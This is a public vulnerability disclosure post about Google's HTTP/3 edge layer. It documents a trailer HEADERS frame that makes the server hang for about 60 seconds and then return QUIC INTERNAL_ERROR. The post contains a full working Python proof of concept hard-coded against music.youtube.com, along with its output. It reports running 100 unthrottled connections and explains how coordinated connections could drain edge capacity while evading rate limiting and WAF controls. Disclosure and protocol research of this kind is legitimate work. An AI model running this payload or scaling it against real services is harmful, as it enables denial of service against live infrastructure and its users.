HTTP/3 Trailer Frame Triggers Unhandled Exception in Google ESF

Background

Google’s HTTP/3 edge layer, known internally as ESF (Edge Side Frontend), is the component responsible for terminating HTTP/3 connections on behalf of Google services and transcoding them toward origin servers. ESF sits in front of properties like music.youtube.com, www.youtube.com, and others.

This post documents a bug in ESF’s HTTP/3 request stream state machine, triggered by sending an RFC 9114-compliant trailer HEADERS frame. The result is a deterministic 60-second hang followed by QUIC INTERNAL_ERROR (error code 0x0001) — the RFC-defined signal for an implementation error.

This vulnerability was reported to Google VRP twice. Both submissions were closed by an automated system within minutes. Given that Google has explicitly decided not to track this as a security issue, I am publishing the full details and proof-of-concept here.

Disclosure Timeline

  • August 7, 2026 — Report submitted to Google VRP (first submission)
  • August 7, 2026 — Auto-closed within minutes, no human review
  • August 9, 2026 — Second submission with expanded technical analysis, “Other” vulnerability category
  • August 9, 2026 — Closed again within 2 minutes by automated system
  • August 9, 2026 — Public disclosure

What Is an HTTP/3 Trailer?

HTTP/3 (RFC 9114) allows a request to include a trailer section — a second HEADERS frame sent after the request body (DATA frame), carrying additional metadata. The structure of a request with trailers looks like this:

Stream 0:
  HEADERS frame  — request headers   (END_STREAM=false)
  DATA frame     — request body      (END_STREAM=false)
  HEADERS frame  — trailer headers   (END_STREAM=true)   ← RFC 9114 §4.1

This is a defined, valid part of the HTTP/3 specification. A compliant server is expected to either accept the trailer or reject it with H3_MESSAGE_ERROR (0x010E) immediately. ESF does neither.

The Bug

When ESF receives the trailer HEADERS frame on a request stream, its state machine fails to handle the transition. Instead of returning an error or forwarding the trailer, ESF enters a blocking state — a goroutine or processing thread stops making progress.

The connection remains open. No response is sent. After approximately 60 seconds, ESF closes the connection with:

QUIC CONNECTION_CLOSE
  Error code: 0x0001 (INTERNAL_ERROR)

RFC 9000 §20.1 defines INTERNAL_ERROR explicitly: “The endpoint encountered an internal error and cannot continue.” This is the QUIC error code reserved for implementation bugs — not for protocol violations by the client.

The 60-second delay is consistent with a request context deadline expiring after a panic or unhandled exception in ESF’s Go runtime. A correctly handled error — even a strict rejection — completes in under 100ms. Cloudflare, for example, returns H3_MESSAGE_ERROR (0x010E) immediately on the same frame sequence.

Proof of Concept

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

#!/usr/bin/env python3
"""
ESF HTTP/3 trailer crash — PoC
Requirements: pip install aioquic
Expected: QUIC INTERNAL_ERROR (0x0001) after ~60 seconds
"""
import asyncio, ssl, time
from aioquic.asyncio import connect
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.h3.connection import H3Connection
from aioquic.h3.events import HeadersReceived, DataReceived
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import ConnectionTerminated

TARGET = "music.youtube.com"
PORT   = 443

BROWSE_BODY = (
    b'{"context":{"client":{"clientName":"WEB_REMIX",'
    b'"clientVersion":"1.20240101.00.00","hl":"en"}},'
    b'"browseId":"FEmusic_home"}'
)

REQ_HEADERS = [
    (b":method",      b"POST"),
    (b":scheme",      b"https"),
    (b":authority",   b"music.youtube.com"),
    (b":path",        b"/youtubei/v1/browse"),
    (b"content-type", b"application/json"),
    (b"user-agent",   b"Mozilla/5.0 Chrome/120.0.0.0 Safari/537.36"),
    (b"accept",       b"*/*"),
]
TRAILER = [(b"x-trailer", b"1")]

class TrailerClient(QuicConnectionProtocol):
    def __init__(self, *a, **kw):
        super().__init__(*a, **kw)
        self._h3        = H3Connection(self._quic)
        self._done      = asyncio.Event()
        self.error_code = None
        self.terminated = False

    def quic_event_received(self, event):
        if isinstance(event, ConnectionTerminated):
            self.terminated = True
            self.error_code = event.error_code
            self._done.set()
            return
        for e in self._h3.handle_event(event):
            if isinstance(e, (HeadersReceived, DataReceived)):
                if e.stream_ended:
                    self._done.set()

    async def run(self):
        sid = self._quic.get_next_available_stream_id(is_unidirectional=False)
        self._h3.send_headers(sid, REQ_HEADERS,  end_stream=False); self.transmit()
        self._h3.send_data(sid,    BROWSE_BODY,  end_stream=False); self.transmit()
        self._h3.send_headers(sid, TRAILER,      end_stream=True);  self.transmit()
        t0 = time.monotonic()
        await asyncio.wait_for(self._done.wait(), timeout=90.0)
        return self.error_code, time.monotonic() - t0

async def main():
    cfg = QuicConfiguration(is_client=True, alpn_protocols=["h3"])
    cfg.verify_mode = ssl.CERT_NONE
    async with connect(TARGET, PORT, configuration=cfg,
                       create_protocol=TrailerClient,
                       wait_connected=True) as c:
        await asyncio.sleep(0.1)
        code, elapsed = await c.run()
        print(f"Error code : 0x{code:04X}" if code is not None else "Error code : None")
        print(f"Elapsed    : {elapsed:.2f}s")
        if code == 0x0001:
            print("RESULT : QUIC INTERNAL_ERROR confirmed")

asyncio.run(main())

Output:

Error code : 0x0001
Elapsed    : 60.31s
RESULT : QUIC INTERNAL_ERROR confirmed

Reproduced on 3/3 independent runs with consistent ~60-second timing.

Why the Payload Triggers the Bug

The trailer HEADERS frame is the third frame sent on the stream — after request headers and body. At this point ESF’s state machine has already transitioned past the initial request parsing state. The trailer arrives at a point in the codepath where ESF is likely waiting for origin response forwarding or already partially committed to a processing path.

The crash isn’t at the parser boundary — if it were, ESF would reject the frame immediately. Instead, the trailer gets past initial parsing and reaches a deeper code path that has no handler for this state transition. The result is a blocked goroutine waiting on a context that only expires after 60 seconds.

The minimum trigger is actually two frames — no DATA is required:

HEADERS (END_STREAM=false) → HEADERS (END_STREAM=true)

This sequence also produces the same INTERNAL_ERROR, confirming the bug is in the request stream state machine itself, not in trailer-specific logic.

Rate Limiting

During testing, 100 sequential connections were sent to music.youtube.com using the trailer trigger, with no delay between runs. Across all 100 connections, no rate limiting, connection throttling, or WAF blocking was observed. Every connection produced QUIC INTERNAL_ERROR 0x0001 at approximately 60 seconds.

This is an architectural property. The crash occurs at the HTTP/3 frame processing layer — before ESF promotes the connection to an HTTP request. Rate limiting and WAF systems that operate on HTTP requests are never reached; from their perspective, the connection simply terminated at the transport layer without producing a countable request.

A coordinated sequence of connections sending this payload would affect ESF connection-handling capacity at the PoP level. Each connection holds server-side resources for 60 seconds before cleanup. Given that this bypass is architectural rather than a threshold issue, there is no HTTP-layer defensive control that can intervene without disabling HTTP/3 entirely at the edge.

Cross-Vendor Confirmation

The identical frame sequence — HEADERS + DATA + HEADERS (trailer) — produces the same QUIC INTERNAL_ERROR 0x0001 on a separate major HTTP/3 CDN provider. That vendor independently triaged the issue. Two different H3 implementations, different codebases, same crash on the same RFC 9114 §4.1 frame sequence. This is consistent with an implementation class bug rather than an environment-specific misconfiguration.

Vendor Response

Reported to Google VRP on August 9, 2026. Closed twice by automated systems within minutes of submission. Google’s automated response indicated the issue’s primary effect is on service availability, which falls outside their security bug escalation threshold.

Conclusion

ESF’s HTTP/3 request stream state machine does not handle a second HEADERS frame (trailer) correctly. The result is a 60-second blocking state followed by QUIC INTERNAL_ERROR — an implementation error by the server’s own signal. The crash bypasses HTTP-layer defenses by occurring before a countable HTTP request is created.

The fix is straightforward: ESF’s H3 state machine needs to handle the second HEADERS frame with an immediate H3_MESSAGE_ERROR (0x010E), as compliant implementations do.